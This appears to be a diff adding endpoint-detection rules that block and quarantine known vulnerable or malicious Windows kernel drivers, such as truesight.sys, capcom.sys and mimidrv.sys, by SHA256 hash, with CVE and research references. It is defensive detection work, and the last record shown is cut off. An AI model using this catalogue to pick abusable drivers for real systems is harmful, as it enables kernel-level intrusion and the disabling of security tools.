+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620090Z",
+  "creation_date": "2026-03-23T11:45:29.620092Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620097Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b03f26009de2e8eabfcf6152f49b02a55c5e5d0f73e01d48f5a745f93ce93a29",
+  "comment": "Intel vulnerable drivers (aka semav6msr.sys and piddrv64.sys) [https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "92256309-07db-5ad7-adf5-b03b2103b634",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.468665Z",
+  "creation_date": "2026-03-23T11:45:30.468668Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.468676Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4f5166322f578fb111b6f2af375052008a5263311890f85c3e4ebc9c0f85affa",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "92291545-1709-5502-92ef-498140151941",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.968827Z",
+  "creation_date": "2026-03-23T11:45:29.968829Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.968834Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0f016c80c4938fbcd47a47409969b3925f54292eba2ce01a8e45222ce8615eb8",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "922c9706-07dd-5a3a-b0af-a56cea120412",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150616Z",
+  "creation_date": "2026-03-23T11:45:31.150618Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150624Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f007a84ac447535f44a5c473c73216d51b9bc597842a53eb292174bcc5ebaf73",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "922d36cf-2ab9-5075-84ce-fe8acc60c530",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.465850Z",
+  "creation_date": "2026-03-23T11:45:30.465853Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.465863Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a1e6b431534258954db07039117b3159e889c6b9e757329bbd4126383c60c778",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "922fc46f-1aa7-579a-ade9-6b5688d38fe4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.978894Z",
+  "creation_date": "2026-03-23T11:45:29.978896Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.978902Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7f0eef1ed4c1278372348cb52e27dc3aa2f51a8b6a62db39d2af75031e55a8db",
+  "comment": "Vulnerable Kernel Driver (aka LgCoreTemp.sys) [https://www.loldrivers.io/drivers/2c3884d3-9e4f-4519-b18b-0969612621bc/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "92302192-bd99-5149-ac27-6fd880d11b5c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150321Z",
+  "creation_date": "2026-03-23T11:45:31.150323Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150329Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ff4952837ec7e41feb582897123a7632c41d98d545ebe7936e1024972254ba07",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9232ee15-20b1-51c0-a21a-6473049d3b51",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.828837Z",
+  "creation_date": "2026-03-23T11:45:31.828839Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.828844Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "515b1433d863c3c302442c23767325200edef64fab958eb59c6d00f319d473ea",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "925d698f-6af8-5f7a-8c71-8667641d520b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.622088Z",
+  "creation_date": "2026-03-23T11:45:29.622090Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.622095Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "da6ca1fb539f825ca0f012ed6976baf57ef9c70143b7a1e88b4650bf7a925e24",
+  "comment": "CapCom vulnerable driver (aka capcom.sys and smep_capcom.sys) [https://github.com/tandasat/ExploitCapcom] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9260e827-f00e-58f0-880f-e0ef15070889",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.491629Z",
+  "creation_date": "2026-03-23T11:45:31.491632Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.491640Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0a5714bad41aae347b76b8ecc202d5ae92b3c19816b2bf3214fe613a4bdc9995",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "926a7831-82b0-59d6-8683-d5feb1113562",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493198Z",
+  "creation_date": "2026-03-23T11:45:31.493201Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493210Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "024831aba0bd668e0cdf8ec29eee4fcec329ff821b2baa38eda4915f4b9c0837",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "926cc190-8416-5aee-871a-544c57246f77",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.820980Z",
+  "creation_date": "2026-03-23T11:45:30.820983Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.820996Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "423f052690b6b523502931151dfcc63530e3bd9d79680f9b5ac033b23b5c6f18",
+  "comment": "Vulnerable Kernel Driver (aka ComputerZ.Sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9275f722-0cd8-5907-a3b7-fec782a7edd7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809622Z",
+  "creation_date": "2026-03-23T11:45:31.809625Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809633Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e8fdda338b7f5232978e2a1cbe4b67be0130164dc7e548ee6e555e09aa917f24",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "927606ae-6753-5b07-9c4d-83aa79ce99d0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.823422Z",
+  "creation_date": "2026-03-23T11:45:30.823425Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.823434Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "98ebd924e01b6853307377855678ac6a64544ab3614eafff7b6f5df6ed3066ff",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "92763c03-2760-5d9c-80db-37bd8f8f4769",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499135Z",
+  "creation_date": "2026-03-23T11:45:31.499138Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499146Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "87881cfe09f0f5b5b1a2a1bee260c050940ab35df241099a404cc13a036b7b13",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "92933035-4108-59a6-9518-209e17bb6ab2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.974627Z",
+  "creation_date": "2026-03-23T11:45:29.974629Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.974634Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d74599ab8960f16e8026dcd564c5407956444c46c3dea6b38b1c243fbbbdc517",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "92959c3d-331a-5bea-8e28-bd75f3730f2a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.828991Z",
+  "creation_date": "2026-03-23T11:45:30.828993Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.828998Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b1fe6090645df9221ce904c212c5583d1eae6d20cf3292d0abeb4acbe16dbd9b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "9299b33e-70d1-52c9-83a3-8b6565b34409",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153202Z",
+  "creation_date": "2026-03-23T11:45:31.153205Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153214Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5f575506837941d91025f94e839bd0b533b01dab253efea0c4a7f9fbd89e2958",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "92a1fd96-4d0c-5cb8-bd6b-dccee5941d96",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.143024Z",
+  "creation_date": "2026-03-23T11:45:31.143026Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.143031Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e08def1e56b5433b999448d4476a7496355cbfdac1a90bd8948bd8f237225f40",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "92a8c966-b8db-5336-a856-1d5906dfda2e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.493239Z",
+  "creation_date": "2026-03-23T11:45:31.493241Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.493247Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d08ae4dc2cac242c70820beca3c2977d8af9b8ea9e8611fe0488b9fc1159a415",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "92af07f2-e509-5484-9adc-217cdde7b514",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.458465Z",
+  "creation_date": "2026-03-23T11:45:30.458468Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.458477Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0f4ca9e9507724526f2b624d165750344473d388da38b7f3f6a8366dbc15140b",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "92bb21fb-6c71-541d-9f5b-177bd33bdaa6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.144353Z",
+  "creation_date": "2026-03-23T11:45:32.144355Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.144361Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "af5a2122b55ee9d8cd3dd49c4ac41bfc9b354912480f06fa7de19829c00c2720",
+  "comment": "Malicious Kernel Driver (aka idmtdi.sys) [https://www.loldrivers.io/drivers/c2e98102-2055-48f0-9449-3e7a7f2c0ffe/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "92bb419b-04db-5e2e-889e-3dc2c8e7cf0a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.479334Z",
+  "creation_date": "2026-03-23T11:45:31.479339Z",
+  "enabled": true,
